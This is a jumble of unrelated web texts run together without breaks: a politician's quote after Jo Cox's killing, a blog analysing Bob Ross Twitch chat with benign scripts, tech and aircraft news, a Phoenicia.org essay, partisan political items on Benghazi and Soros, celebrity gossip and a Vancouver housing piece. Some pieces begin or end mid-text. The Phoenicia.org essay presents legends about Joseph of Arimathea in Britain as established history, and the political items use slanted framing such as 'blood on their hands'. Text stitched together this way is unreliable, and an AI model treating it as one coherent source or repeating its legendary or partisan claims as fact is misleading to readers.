“I attend hundreds a year that are pre-advertised – none of us want to change that. Politicians driving in armoured convoy and being protected by high walls is not the British way. But it is about getting the balance right and not allowing crimes like this to change our way of life.
“I just feel really numb with grief over what happened to Jo and desperately upset for [her husband] Brendan and her family and loved ones. We all must live with a constant sense of vulnerability.
“I do think we should use this as a moment to reflect as a nation on the political culture we create. And I think politicians and commentators should think more carefully about what they say and do and the influence it has on people and what can open us up to hatred and violence.
The Bob Ross channel has its own chat room, and it quickly became packed with folks watching Bob paint. The chat spawned its own memes and conventions within days, mostly taking gamer slang (e.g. “gg” for “good game”) and applying it to the show (people spam “gg” in the chat whenever Bob finishes a painting).
Sadly that marathon has ended, but they’ve kept the dream alive by having “Bob Ross Night” on Mondays. Every Monday they’re going to stream a season of the show twice (once at a Europe-friendly time and again for American folks). Last Monday I scraped the Twitch chat during the marathon(s) of Season 2 and decided to have some fun poking around at the data.
Scraping
Scraping the chat was pretty easy. Twitch has an IRC gateway for chats, so I just ran an IRC client (weechat) on a VPS and had it log the channel like any other. Once the marathon finished I just scp ‘ed down the 8mb log and started working with it.
First I trimmed both ends to only leave messages from about an hour and a half before and after the marathons started and ended. So the data I’m going to work with runs from 2015-11-16 14:30 to 2015-11-17 07:30 (all times are in UTC), or 17 hours.
Then I cleaned it up to remove some of the cruft (status messages from the client and such) and lowercase everything:
cat data/raw | grep -E '^[^\t]+\t <' | gsed -e 's/./\L\0/g' > data/log
Then I made an ugly little Python script to massage the data into something a bit easier to work with later:
import datetime , sys , time def datetime_to_epoch ( dt ): return int ( time . mktime ( dt . timetuple ())) for line in sys . stdin : timestamp , nick , msg = ( s . strip () for s in line . split ( ' \t ' , 2 )) timestamp = datetime_to_epoch ( datetime . datetime . strptime ( timestamp , '%Y-%m- %d %H:%M:%S' )) # strip off <>'s nick = nick [ 1 : - 1 ] print ( timestamp , nick , msg )
This results in a file with one message per line, in the format:
timestamp nick message goes here...
On a side note: I tried out Mosh for persisting a connection to the server (instead of using tmux or screen to persist a session) and it worked pretty well. I might start using it more often.
Volume
Now that we’ve got a nice clean corpus, let’s start playing with it!
The obvious first question: how many messages did people send in total?
><((°> cat data/messages | wc -l 165368
That’s almost 10,000 messages per hour! And since there were periods of almost no activity before, between, and after the two marathons it means the rate during them was well over that!
Who talked the most?
><((°> cat data/messages | cuts -f 2 | sort | uniq -c | sort -nr | head -5 269 fuscia13 259 almightypainter 239 sabrinamywaifu 235 roudydogg1 201 ionone
Some talkative folks (though honestly I expected a bit higher numbers here). cuts is “cut on spaces” — a little function I use so I don’t have to type -d ' ' all the time.
N-grams
The chat has spawned a bunch of its own memes and jargon. I made another ugly Python script to split up messages into n-grams so we can analyze them more easily:
import sys import nltk def window ( coll , size ): '''Generate a "sliding window" of tuples of size l over coll. coll must be sliceable and have a fixed len. ''' coll_len = len ( coll ) for i in range ( coll_len ): if i + size > coll_len : break else : yield tuple ( coll [ i : i + size ]) for line in sys . stdin : timestamp , nick , msg = line . split ( ' ' , 2 ) n = int ( sys . argv [ 1 ]) for ngram in set ( window ( nltk . word_tokenize ( msg ), n )): print ( timestamp , nick , '__' . join ( ngram ))
This lets us easily split a message into unigrams:
><((°> echo "1447680000 sjl beat the devil out of it" | python src/split.py 1 1447680000 sjl it 1447680000 sjl the 1447680000 sjl beat 1447680000 sjl of 1447680000 sjl out 1447680000 sjl devil
The order of n-grams within a message isn’t preserved because the splitting script uses a set to remove duplicate n-grams. I wanted to remove dupes because it turns out people frequently copy and paste the same word many times in a single message and I didn’t want that to throw off the numbers.
Bigrams are just as easy — just change the parameter to split.py :
><((°> echo "1447680000 sjl beat the devil out of it" | python src/split.py 2 1447680000 sjl of__it 1447680000 sjl the__devil 1447680000 sjl beat__the 1447680000 sjl devil__out 1447680000 sjl out__of
N-grams are joined with double underscores to make them easier to plot later.
So what are the most frequent unigrams?
><((°> cat data/words | cuts -f3 | sort | uniq -c | sort -nr | head -15 19523 bob 14367 ruined 11961 kappaross 11331 ! 10989 gg 7666 is 6592 the 6305 ? 6090 i 5376 biblethump 5240 devil 5122 saved 5075 rip 4813 it 4727 a
Some of these are expected, like “Bob” and stopwords like “is” and “the”.
The chat loves to spam “RUINED” whenever Bob makes a drastic change to the painting that looks awful at first, and then spam “SAVED” once he applies a bit more paint and it looks beautiful. This happens frequently with mountains.
“KappaRoss” and “BibleThump” are Twitch emotes that produce small images in the chat.
When Bob cleans his brush he beats it against the leg of the easel to remove the paint thinner, and he often smiles and says “just beat the devil out of it”. It didn’t take long before chat started spamming “RIP DEVIL” every time he cleans the brush.
How about the most frequent bigrams and trigrams?
><((°> cat data/bigrams | cuts -f3 | sort | uniq -c | sort -nr | head -15 3731 rip__devil 3153 !__! 2660 bob__ross 2490 hi__bob 1844 <__3 1838 kappaross__kappaross 1533 bob__is 1409 bob__! 1389 god__bless 1324 happy__little 1181 van__dyke 1093 gg__wp 1024 is__back 908 i__believe 895 ?__? ><((°> cat data/trigrams | cuts -f3 | sort | uniq -c | sort -nr | head -15 2130 !__!__! 1368 kappaross__kappaross__kappaross 678 van__dyke__brown 617 bob__is__back 548 ?__?__? 503 biblethump__biblethump__biblethump 401 bob__ross__is 377 hi__bob__! 376 beat__the__devil 361 bob__!__! 331 bob__<__3 324 <__3__< 324 3__<__3 303 i__love__you 302 son__of__a
Looks like lots of love for Bob and no sympathy for the devil. It also seems like Van Dyke Brown is Twitch chat’s favorite color by a landslide.
Note that the exact n-grams depend on the tokenization method. I used NLTK’s word_tokenize because it was easy and worked pretty well. wordpunct_tokenize also works, but it splits up basic punctuation a bit too much for my liking (e.g. it turns bob's into three tokens bob , ' , and s , where word_tokenize produces just bob and 's ).
Graphing
Pure numbers are interesting, but can be misleading. Let’s make some graphs to get a sense of what the data feels like. I’m using gnuplot to make the graphs.
What does the overall volume look like? We’ll use minute-wide buckets in the x axis to make the graph a bit easier to read.
Can you tell where the two marathons start and end?
Let’s try to identify where episodes start and finish. Chat usually spams “hi bob” when an episode starts and “gg” when it finishes, so let’s plot those. We’ll use 30-second x buckets here because a minute isn’t a fine enough resolution for the events we’re looking for. To make it easier to read we’ll just look at the first half of the first marathon.
This works pretty well! The graph starts with a big spike of “hi bob”, then as each episode finishes we see a (huge) spike of “gg”, followed immediately by a round of “hi bob” as the next episode starts.
Can we find all the times Bob cleaned his brush?
Looks like the devil isn’t having a very good time. It’s encouraging that the two seasons have roughly the same structure (three main clusters of peaks).
Note that there are a couple of smaller peaks between the two showings. Twitch showed another streamer painting between the two marathons, so it’s likely that she cleaned her brush a couple of times and the chat responded. Fewer people were watching the stream during the break, hence the smaller peaks.
When did Bob get the most love? We’ll use 5-minute x bins here because we just want a general idea.
Lots of love all around, but especially as he signed off at the end.
One of my favorite moments was when Bob said something about “changing your mind in mid stream” and the chat started spamming conspiracy theories about how he somehow knew about the stream 30 years in the past:
Up Next
Poking around at this chat corpus was a lot of fun (and definitely counts as studying for my NLP final, definitely). I’ll probably record the chat during next week’s marathon and do some more poking, specifically around finding unique events (e.g. his son Steve coming on the show) by comparing rate percentiles.
"Some of [the games] will still fall over and die," longtime IA curator Jason Scott wrote on his personal blog when announcing the new game selection on Monday, but our cursory tests have shown off remarkably functional MS-DOS games in our web browser; they all run via the Em-DOSBOX emulator, an offshoot of the same emulator that powers many antiques sold at archival games sites like GOG.com. Keep that mute button handy, as we encountered some awful sound emulation quirks in classics like Jazz Jackrabbit, but thankfully, the games' speed and functionality remained intact.
Scott also took the opportunity to ask gamers to try out the Internet Archive's brand-new beta design, complete with screenshots for every entry and an endless-scroll feature; click here to give the beta a shot. You'll want the improved design while sifting, because the selection, quite frankly, is insane. Have an urge to find Carmen Sandiego? Now you can track her across the USA, the world, Europe, space, or even time. Got pinball on your mind? Welcome back to EA's incredible classic, the Pinball Construction Set. Curious about the French version of the really awful Smurfs game? Here you go. Really, you could lose hours to nothing other than the MS-DOS subgenre of erotic adventures, including the hilariously titled Leather Goddesses of Phobos 2. (Which makes us wonder, where the hell is the original?!)
The table making its way onto various websites can be found on page 40 of the report. Websites copying this table state that it lists the percentages of unpatched known vulnerabilities in each operating system (here or here) – but reading the accompanying text blob, I can’t help but think that’s not what the table lists. If I’m reading it correctly, the table lists the percentages per platform of the total amount of disclosed vulnerabilities. The text blurb:
X-Force tracks vulnerabilities by platform and has produced metrics this year
to show the operating systems with the most disclosed vulnerabilities. The following chart shows the operating systems with the most vulnerabilities documented in 2008. The top ten operating systems account for nearly 75% of all vulnerability disclosures affecting operating systems.
That seems pretty clear to me; they are looking at the share each operating system has of the total amount of reported vulnerabilities. Still, that doesn’t mean this report has any significant meaning on this specific subject. As has been said many times before – just counting vulnerabilities isn’t a good measure of security.
At the end of the day, what matters is not only quantity, but also quality. Any report on security that does not take severity into account is a little hard to take seriously when it comes to making general statements about a platform’s security record. The report does tell that 1% of the total amount of reported issues has the critical severity rating, but it doesn’t break it down per platform.
Do you like jetskiing? And do you like piloting light aircraft? If the answer to both those questions is yes - and you have a spare £26,000 - then you'll be rubbing your hands with glee.
This incredible new aircraft is the FlyNano miniature electric flying boat, which has just made its first test flight over Finland's chilly lakes.
Over a decade in development, the FlyNano is a radical new design for a personal aircraft weighing in at less than 70kg - meaning potential owners may not even need a licence to legally fly it.
SCROLL DOWN FOR VIDEO OF FLYNANO'S MAIDEN TEST FLIGHT
Ready for take off: The FlyNano tears across Lake Hepari, in Kirkkonummi, Finland, ready for its maiden flight earlier this month
We have lift off! The miniature electric flying boat takes to the skies, the culmination of a decade's work
Its makers say: 'Everyone has sometime imagined what it would be like to fly free as a bird. FlyNano is for the fun of flying – no passengers, no cargo - just you, FlyNano and the endless blue.
'If you’ve ever had a pilot’s licence, or had experience with ultras or micros, you’ll fly Nano right out of the box.
'The rest of you will need to learn the simple rules of the air. Minimum red tape – maximum fun.'
The FlyNano prototype had its first short test flight earlier this month on Lake Hepari, Kirkkonummi, Finland, where it managed to make it airborne for only a couple of seconds.
Its wing area is small in comparison with other electric aeroplanes, which tend to have the efficient, higher-aspect-ratio wings typical of sailplanes, wired.com reported.
Nevertheless, FlyNano's head designer, Aki Suokas, claims a top speed of 87mph, maximum range of 40 miles and a service ceiling of up to 10,000ft.
An aviation consultant, , flight designer and enthusiastic pilot, Mr Suokas first dreamed of the radical new flight design that would weigh less than 70 kilos in 2001. That magic weight limit determines how a new plane is legally classified.
Ambitious: FlyNano's head designer, Aki Suokas, claims a top speed of 87mph, maximum range of 40 miles and a service ceiling of up to 10,000ft
Sleek: The FlyNano concept was presented last year at the Aero 2011 trade fair in Friedrichshafen, Germany
The aircraft has no cockpit in a traditional sense, or even a windshield, so pilots would have to use a crash helmet with a visor - or even a classic pair of flying goggles.
It all fits in with the FlyNano philosophy to 'feel the wind'.
It is built from an advanced carbon fibre composite construction. Wingspan is nearly 5m, nose to tail 3.5m, and height 1.3m. The maximum take off weight is 200kg.
Vision: Aki Suokas first dreamed of the radical new flight design that would weigh less than 70 kilos in 2001. That magic weight limit determines how a new plane is legally classified
The FlyNano concept was presented last year at the Aero 2011 trade fair in Friedrichshafen, Germany, where it was envisioned to be primarily powered with a combustion engine.
However, thanks to advances in the development of electric motors over the past year, the range has been upgraded to almost silent battery power.
The first 35 FlyNanos will be shipped to dealers from 2013, with a basic price of 32,000 euros (£25,696), with the optional transport and storage trailer costing 5,300 euros (£4,256).
In a study by Google on data covering a year’s worth of message delivery, Comcast was listed as one of the worst domains when it comes to coding messages to alleviate privacy concerns; less than 1 percent of emails sent by Google to Comcast were encrypted. Douglas told the Wall Street Journal that the company plans on testing its encryption protection on customers “within a matter of weeks” and is being “very aggressive about this.” The Wall Street Journal earlier noted Comcast’s plans.
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For encryption to work properly, it takes two to tango, as both email providers need to have the proper security protocols set up on their servers. Google currently supports TLS encryption, the industry standard, so if Comcast were to support the function as well, emails should be codified and secure.
TLS (transport layer security) encryption is a protocol that allows for emails to be encrypted through the use of public key infrastructure.
In May, Facebook urged email providers to take advantage of the STARTTLS extension, which is used to convert an insecure network connection between email providers into a secure and encrypted connection. Facebook’s announcement came a few months after Twitter’s statement that also prodded email providers to use the STARTTLS extension.
How the Celts Saved Britain
How Irish missionaries brought literacy and technology to Scotland and England. Provocative two-part documentary in which Dan Snow blows the lid on the traditional Anglo-centric view of history and reveals how the Irish saved Britain from cultural oblivion during the Dark Ages. He follows in the footsteps of Ireland's earliest missionaries as they venture through treacherous barbarian territory to bring literacy and technology to the future nations of Scotland and England.
Britain, Phoenicia's Secret Treasure, and its Conversion to Christianity - The Legendary Tin Mines of Cornwall
from http://phoenicia.org/britmines.html">Phoenicia.org
When Rome was still a tiny village on the Palatine Hill, Phoenician traders were sailing their ships the length and breadth of the Mediterranean and beyond in search of goods to be sold or traded for a handsome profit. There were great risks in making a long sea voyage and bringing home a valuable cargo, but the enormous profit that could be made from selling the goods made the risks worthwhile. The key was to trade a product that was unique, very desirable, hard to get, or desperately needed for other products that were common in the land of the people with whom you were trading. These products may be rare and desirable someplace else, and the trader now had something with which he could once again make a profit.
Tin was just such a product in the ancient world. Tin was vital to the ancients because it was needed in the making of bronze. Bronze was an alloy, or a mixture of two or more metals. To make bronze, the metal smith mixed copper with the proper amount of tin. Copper tools and weapons by themselves were too soft and did not long remain sharp. Tin made the copper harder and also made the molten metal fill the mold more completely when it was cast into useful objects like axe heads, hammers, and jewelry. So many useful articles were made of bronze in ancient times that no civilization could thrive very long without a supply of it or the copper and tin needed to make it.
The deposits of tin in the ancient world were usually small and not very plentiful. The Phoenicians discovered the tin deposits of the British Isles through their own exploring and seeking out of new products and markets for them. They kept the knowledge of the Cornish tin mines a closely guarded secret so they could control trade in the metal and charge a high price for it. After the Punic wars, Carthage, the one remaining city of the Phoenicians, became less and less an important economic power. With their well - known efficiency and thoroughness, the Romans counted access to the British tin mines as one of the advantages of conquering the island. Julius Caesar knew of the importance of British tin when he invaded the island in 55 to 54 B.C. After the conquest of Britain during the reign of Claudius, the Romans were in control of most of the world's supply of the metal. Hence, the closely guarded treasure secret of Britain's tin passed hands from the Phoenicians to the Romans.
The fact that tin trade existed is too well attested to need proof. Herodotus as early as 445 BC speaks of the British Isles as the Tin Islands or Cassiterides. Pytheas (352-323 BC) mentions the tin trade, as does also Polybius (circa 160). Diodorus Siculus gives a detailed description of the trade. He tells us that the tin was mined, beaten into squares, and carried to an island called Ictis, joined to the mainland at low tide, which is generally held to be Mount St. Michael in Cornwall, although some have identified it with Falmouth. Thence it was shipped to Morlais, and transported across France on pack horses to Marseilles. From Marseilles it was again shipped to Phoenicia. Innumerable ancient workings in Cornwall still attest the trade, and tin is still mined there today. Lord Avebury and Sir John Evans held the opinion that the trade existed as early as 1500 BC, and Sir Edward Creasy writes: "The British mines mainly suppled the glorious adornment of Solomon's Temple". This matter ties in very well with the involvement of Phoenician builders with construction of Solomon's Temple.
Travel Between the Eastern Mediterranean and Britain
Before going into the controversial question of Glastonbury, Joseph of Arimathea and the stories or legends which surround it, one needs to stop at a few points to determine some basic givens. Glastonbury is traditionally the first Christian sanctuary in Great Britain, visited, so legend has it, by Joseph of Arimathea and Saints David & Patrick. It has a strong tradition in British history dating back to the time of King Arthur who is said to have been buried at the Abbey beside his lovely wife Queen Guinevere. His body was moved at a later date. Further, at Glastonbury Joseph of Arimathea is said to have planted the Holy Thorn tree which is still growing there today. Also, a holy well is supposed to be still found there.
The strong tradition tying Joseph of Arimathea with Glastonbury and the Phoenician tin trade with Cornwall may have strong thread of truth that ties them together. The only known sailors who came from the Eastern Mediterranean to Britain were Phoenician. Hence, the elementary conclusion is that Joseph of Arimathea, if he really made the trip(s), must have done it on Phoenician ships.
If this hypothesis is accepted, further reading on the subject could be accommodated. However, some claims and details seem far fetched but are presented herewith for your consideration despite their implausibility.
Below, the account is presented as is even though the author does not necessarily agree with this presentation in its totality. However, for historical reference presents this some what irrefutable point of evidence:
Historians William of Malmesbury, Maelgwyn of Llandaff and Polydore Vergil all place Joseph of Arimathea at Glastonbury. Even the four Church councils of Pisa 1409, Constance 1417, Sienna 1424 and Basle 1434, mention that "the Churches of France and Spain must yield in points of antiquity and precedence to that of Britain as the latter Church was founded by Joseph of Arimathea immediately after the passion of Christ."
Joseph of Arimathea, Tin Merchant
According to the Talmud, Joseph of Arimathea was said to have been an uncle of the Virgin Mary, (see note) being a younger brother of her father. He gained his wealth as an importer in the tin trade, which existed between Cornwall and Phoenicia.
Joseph along with St. John buried Jesus after the crucifixion. Joseph, in the tin trade, made a lot of trips to Britain, where being a rich merchant made close contact with royalty; namely Kings Beli, Lud, Llyr and Arviragus, who gave Joseph and his companions some 2000 acres of land, tax free. Arviragus would become God's "Protectorate" for the Cradle of Christianity, Glastonbury. Caradoc, Pendragon of 'Britain', would become God's "Protectorate" of the fledgling British Church.
Joseph of Arimathea was a man of refinement, well educated, and one who possessed many talents, had extraordinary political and business ability. He has been called one of the richest men in the world. He learned about that tin trade from the Phoenicians, which then was akin in importance to that of steel today. They had been bringing ore from Britain for centuries. Joseph was well educated, a member of the ruling political body of the whole country. In St. Jerome's translation, Joseph's official title is given as 'Nobilis Decurio', a minister of mines for the Roman empire, with direct access to Pilate himself. He was no slouch. How better to protect Jesus, after Joseph the carpenter died, and insure the seeding and growth of the Gospel in Britain.
The basic story of Joseph's trip to Britain varies in some details from account to account. But the bare facts are that Joseph, with many disciples traveled from the holy land by Phoenician boat and landed at Marseilles (a Phoenician trading post), in the Vienoise province of the Gauls (France). From there he went on to Britain established seminaries and sent out missionaries. In his "Ecclesiastical Annals", Cardinal Baronius, Curator of the Vatican library, gives this account. "In that year the party mentioned was exposed to the sea in a vessel without sails or oars. The vessel drifted finally to Marseilles and they were saved. From Marseilles Joseph and his company passed into Britain and after preaching the Gospel there..."
How many of the disciples were with Joseph of Arimathea during his short stay in Gaul, before going on to Britain, is hard to say. Various existing records agree in part with the Cardinal Baronius record, naming among the occupants of the castaway boat Mary Magdalene, Martha, the hand-maiden Marcella, Lazarus whom Jesus raised from the dead, and Maximin the man whose sight Jesus restored. Other records state that Philip and James accompanied Joseph. Others report that Mary, the wife of Cleopas, and Mary, the mother of Jesus, were also in the boat. Here's Cardinal Baronius' complete list of passengers:
* St. Mary, wife of Cleopas
* St. Martha
* St. Lazarus
* St. Eutropius
* St. Salome
* St. Cleon
* St. Saturninus
* St. Mary Magdalene
* Marcella, the Bethany sisters' maid
* St. Maximin
* St. Martial
* St. Trophimus
* St. Sidonius (Restitutus)
* St. Joseph of Arimathea
Philip was waiting for the travelers in France. There is testimony asserting his commission in Gaul, all of which alike state that he received and consecrated Joseph, preparatory to his embarkation and appointment as the Apostle to Britain.
Although there are some who would argue for France being first, most records agree that Britain, at Glastonbury was the Root of the Christian movement. One would expect that history would show that the missionary activities would flow out of the well-spring of Christianity. And well does history record this. The Gaulic records state that for centuries the Archbishops of Treves and Rheims were all Britons supplied by the mother church at Glastonbury-Avalon. St. Cadval, a famed British missionary, going out from Glastonbury, founded the church of Tarentum, Italy, A.D. 170 four hundred years before the time of St. Augustine and at least fourteen years after King Lucius Christianized all of Britain in A.D. 156!
Converts literally flooded into Glastonbury for conversion, baptism, instruction and missionary assignment. Philip sent, from Gaul alone, one hundred sixty disciples to assist Joseph and his team with the crowds. And it is surely known that helpers were sent from other places beside France.
One of the first to go out from Glastonbury was Mary and Martha's brother Lazarus. He headed straight back to Marseilles where he held the Bishopric for seven years. But that was only natural. France was a Family Thing for the Bethany household. Mary and Martha both lived out their lives, preaching and teaching in the south of France. "The Coming of The Saints," by Taylor is a good book on the subject.
Many famous names are recorded as having been associated with Glastonbury-Avalon:
* Sidonis, Saturninus, and Cleon taught and supported other missionaries in Gaul, then returned to Britain.
* Martial's parents, Marcellus and Elizabeth were there along with St Zacchaeus.
* Parmena, disciple of Joseph, was appointed the first Bishop of Avignon.
* Drennalus, helped Joseph found the church at Morlaix. He was then appointed to Treguier as it's first Bishop.
* Beatus founded the church in Helvetia, after receiving his baptism and education at Avalon.
* Beatus was baptised by St. Barnabas, the brother of Aristobulus, sent in advance by St. Paul to Britain. He is referred to in scripture as Joses, the Levite.
* Mansuetus was consecrated the first Bishop of the Lotharingians A.D. 49, with his See at Toul. He also founded the church at Lorraine.
Historical note:
Mansuetus was a constant visitor to Rome after Claudia had married Pudens. He was a friend of Linus, the Bishop of Rome, and brother of Claudia. After the death of St. Clement, Mansuetus became the third official Bishop of the British Church at Rome. Thus we have three disciples of Avalon, instructed by St. Joseph, to become, in succession, Bishops of Rome.
Iltigius, in "De Patribus Apostolicis", quotes St. Peter as saying; "Concerning the Bishops who have been ordained in our lifetime, we make known to you that they are these. Of Antioch, Eudoius, ordained by me, Peter. Of the Church of Rome, Linus, son of Claudia, was first ordained by Paul, and after Linus's death, Clemens the second, ordained by me, Peter."
If all of this is true, was Glastonbury The First Christian Church
Thanks to Phoenician Christians (more history on Joseph)
In Lionel Smithett Lewis' St. Joseph of Arimathea at Glastonbury indicates "It is certain that Britain received the Faith in the first age from the first sowers of the Word. Of all the churches whose origin I have investigated in Britain, the church of Glastonbury is the most ancient.": wrote sir Henry Spelman in his Concilia, and again he wrote in the same work: "We have abundant evidence that this Britain of ours received the Faith, and that from the disciple of Christ Himself, soon after the Crucifixion of Christ."
Robert Parsons, the Jesuit, in his Three Conversions admits that : "The Christian religion began in Britain within fifty years of Christ's ascension." His co-religionist, the very learned Alford, in his Regia Fides says: "It is perfectly certain that, before St. Paul had come to Rome, Aristobulus was absent in Britain." The discreet Fuller goes so far as to say: "If credit be given to these ancient authors, this Church without competition was senior to all Christian churches in the world." "Britain," wrote the erudite Polydore Vergil, "partly through Joseph of Arimathea, partly through Fugatus and Damianus, was of all kingdoms the first that received the Gospel." It is a matter of distinct interest that Cardinal Pole, twice over, when solemnly reconciling Britain to the Pope and the Church of Rome, at the beginning of Queen Mary's reign, claimed that Britain was the first country to be converted to Christianity.
The Venerable Bede, writing about AD 740, says: "The Britons preserved the Faith which they had received under King Lucius uncorrupted, and continued in peace and tranquility until the time of the Emperor Diocletian."
It will be noticed that two distinct events are spoken of above: (1) The foundation of the Church in Britain by the Disciples of Christ. (2) The acceptance of Christianity by the British Nation under Good King Lucius about AD 170. Britain was the first of all nations to accept Christianity as its national religion. Few people realize that this is why the British King is called "our Most Religious King". Not many realize that the superior dignity and antiquity of our national Church has been decided by Church Councils. The Councils of Pisa in 1409, Constance in 1417, Sienna in 1424, and Basle in 1434. It was there contended that the Churches of France and Spain must yield in points of antiquity and precedence to that of Britain, as the latter Church was founded by Joseph of Arimathea immediately after the Passion of Christ.
Gildas the Wise, the earliest Christian historian (AD 425-512) distinctly says that the Light of Christ shone here in the last year of the reign of Tiberius Caesar, that is AD 37. This falls in with the claim recorded above, which gave precedence to British Bishops at the Church Councils on the ground that Britain was converted "immediately after the Passion of Jesus Christ". It fits in also with the statements of Fuller and Polydore Virgil already recorded that the Church of Glastonbury was the Senior Church of the world; with Sir Henry Spelman's words that Britain received the Faith soon after the Crucifixion; with Alford's statement that Aristobulus was in Britain before St. Paul went to Rome; with the observance by the Greek Church of the martyrdom in Britain of Our Lord's disciple, St. Simon Zelotes, on May 10, AD 44 (a date supported by Cardinal Baronius; and with Hippolytus' (born about AD 160) inclusion of that Apostle in his lists as "Bishop of the Britons". All these are testimony to the year AD 37 as marking the coming of the first Mission.
Joseph of Arimathea was the protector of that valorous little band of disciples during the perilous years following the crucifixion, the indefatigable head of the Christian underground in Judea, and the guardian of Christ's only earthly treasure, - His mother.
According to the Talmud, Joseph was the younger brother of the father of the Virgin Mary. He was her uncle, and therefore a great uncle to Jesus. Chiefly from the secular reports we learn that Joseph was a married man and his son, Josephes. It is quite obvious that the husband of the Blessed Virgin Mary died while Jesus was young. Under Jewish law such a circumstance automatically appointed the next male kin of the husband, in this case Joseph, legal guardian of the family. We know that Joseph never forsook his nephew. He stood by Him as a bold, fearless defender at the notorious trial, and defied the Sanhedrin by going to Pilate and boldly claiming the body when all others feared to do so. It is commonly taught that Jesus was poor and of obscure relatives. His relationship with the affluent Joseph of Arimathea proves otherwise. In His own right He was a property owner but long before He took up His mission He forsook all material wealth.
Leading authorities identify Arimathea with Ramah, or Ramallah as it is called today. It was the birthplace of the prophet Samuel, and is called in the Septuagint Arimathaim. Josephus calls it Amartha. The identity seems clear. Now Ramah lay about eight miles due North of Jerusalem on the Jerusalem-Nazareth road. It was the first stopping place of caravans traveling North from Jerusalem. It would be the stopping place of the Holy family, both to and from the city.
Joseph is always spoken of as belonging to Arimathea, which implies that it was his existing place of residence. He was a wealthy man, and his duties as a chancellor would bring him frequently to Jerusalem, where he had also a town residence. He would certainly be in Jerusalem at the time of the feast. [of Passover] The whole story now becomes clear. As the uncle of the Virgin Mary he probably knew all about the wondrous story of Our Lord's birth. Year by rear, when Joseph and Mary attended the feast, he would enquire about the mysterious child. He would eagerly look forward to His first visit.
Sources:
1. St. Joseph of Arimathea at Glastonbury, by Lewis, from Artisan Sales
2. The Origin and Early History of Christianity in Britain, by Andrew Gray; from Artisan Sales
3. Did the Apostle Paul Visit Britain?, by R.W. Morgan, from Dolores Press, Ic., 389 Church St, San Francisco, CA 94114
4. Did Our Lord Visit Britain, by Rev. C. C. Dobson; from Covenant People
5. The Drama of the Lost Disciples, by George F. Jowett,; from Artisan Sales
Note: The Harlein Manuscripts in the British Museum (38-59f, 193b) supports the claim that, according to the Talmud, Joseph of Arimathea was uncle to the Virgin Mary the mother of Jesus and adds that he had a daughter, Anna, calling her "consobrina" or cousin of Mary.
The New York Times says they had a reporter on the ground while terrorists slaughtered US Ambassador Chris Stevens.
Blood on their hands once again.
The New York Times claims they had a reporter on the ground in Benghazi when four Americans were killed on 9-11-12.
Breitbart reported:
The New York Times had a reporter talking to attackers on the ground during the Benghazi attacks that killed four Americans in September of 2012, including U.S. Ambassador Chris Stevens, and may know the identity of some the murderers and perpetrators.
David Kirkpatrick, the Times reporter who wrote the story that forced the paper’s Editorial page editor to defensively declare on Monday that it has not chosen to endorse Hillary Clinton for president in 2016, said that the paper had a reporter on the ground who was witnessing the attacks.
That admission is even in Kirpatrick’s story, which, as Breitbart News reported, has received considerable blowback for attempting to “whitewash the Benghazi tragedy” by alleging that there was no al-Qaeda involvement in the attacks that killed four Americans (contradicting the paper’s own reporting), murdered U.S. Ambassador Chris Stevens had “little understanding” of the region, and the terrorists were motivated by an anti-Muhammed YouTube video:
Soon scores, if not hundreds, of others were racing to the scene. Some arrived with guns, some with cameras. The attackers had posted sentries at Venezia Road, adjacent to the compound, to guard their rear flank, but they let pass anyone trying to join the mayhem. Witnesses said young men rushing inside had left empty pickup trucks from Ansar al-Shariah, but also all the other big militias ostensibly allied with the government.
There is no doubt that anger over the video motivated many attackers. A Libyan journalist working for The New York Times was blocked from entering by the sentries outside, and he learned of the film from the fighters who stopped him. Other Libyan witnesses, too, said they received lectures from the attackers about the evil of the film and the virtue of defending the prophet.
Fidesz parliamentary representative Gyula Budai told a press conference that the left wing speculator employs three lobbyists in Washington who “seek to organise an attack on Hungary against MPs, the Senate and the ministry”, so that he can press on with plans to open borders in Europe to millions of migrants from Africa and the Middle East, reports Hungarian wire service MTI.
“According to documents, the two main areas of the attack on Hungary are the Law on Higher Education, the law known as the CEU Law, and the Law on the Regulation of Subsidised Organisations,“ said Budai.
The former piece of legislation aims to ensure fair conditions for foreign universities operating in the country and the latter seeks greater financial transparency for foreign NGOs; both laws affect Soros-backed operations in the country, notably the Central European University (CEU), have been criticised by the European Union and U.S. State Department.
Anti Soros Law? Hungary Tightens Rules On Foreign-Funded NGOs https://t.co/cAmLmLcNL5 — Breitbart London (@BreitbartLondon) June 14, 2017
Budai states Soros has launched these attacks against Hungary as the Central European nation stands in the way of the “Soros Plan” to bring in one million migrants a year to Europe, with immigrants to be “deployed” through agencies he financially supports, claiming his Open Society Foundations has already spent $4.6 million this year on implementing the plans.
Over the last few months, Prime Minister Viktor Orbán has railed against fellow Hungarian national Soros, claiming that his cadres of NGOs are promoting open borders and mass migration into Europe to create a “new, mixed, Muslimised Europe”.
The prime minister has rejected orders from the EU to accept Middle Eastern and African migrants under the bloc’s forced redistribution programme, with the bloc threatening legal consequences if Hungary does not back down by September.
Hungary rejects EU's court demand for it to submit to 'Soros Plan' for compulsory migrant quotas. https://t.co/qrga9kAt9e — Breitbart London (@BreitbartLondon) July 26, 2017
Hungary brought an effective halt to mass illegal migration through the Central European nation by erecting fences, recruiting more border guards, and implementing a detention scheme for migrants whilst their asylum claims are processed, dramatically bringing down the number of border incursions to pre-migrant crisis levels.
Laying out his vision for a future Europe without the influence of Soros, Orban said last month: “In order for Europe to be able to live, it has to win back its sovereignty from the Soros Empire… Once this is done, migrants must be taken back outside the EU. It sounds strict, but those who came illegally, must be transported back.”
Rosie O'Donnell announced that she will leave The View, again. On the heels of that announcement, O'Donnell also confirmed that she had separated from her wife of two years, Michelle Rounds. "I can confirm that Rosie and her wife, Michelle, split in November," a representative for O'Donnell told the Daily News. "Rosie has teens and an infant at home that need her attention. This has been a very stressful situation." [NY Daily News]
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The remark raises an intriguing yet never-broached topic here in the US: Can immigration drive-up home prices? Logic would have to say yes; more bodies does indeed equal more demand for housing. But to what extent can prices be affected?
Well, if Vancouver, Canada is anything to go by, the answer’s “a whole lot.” The housing market in the West Coast city has dominated national headlines in Canada for years with the city consistently topping global housing-unaffordability indices.
The main reason say critics?
Hundreds of thousands of Mainland Chinese (including investors) coming across the Pacific Ocean to take advantage of Vancouver’s top-notch public school system as well as its publicly-funded university, the University of British Columbia, one of Canada’s biggest and best.
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But with a veritable exodus now underway among city natives too pinched to stay in the place they grew up, the local government’s recently installed two new taxes intended to slow-down home purchases from foreigners—The federal government intended to do the same in 2014 when it scrapped its relatively large investor-visa program, a popular vehicle for Vancouver immigrants.
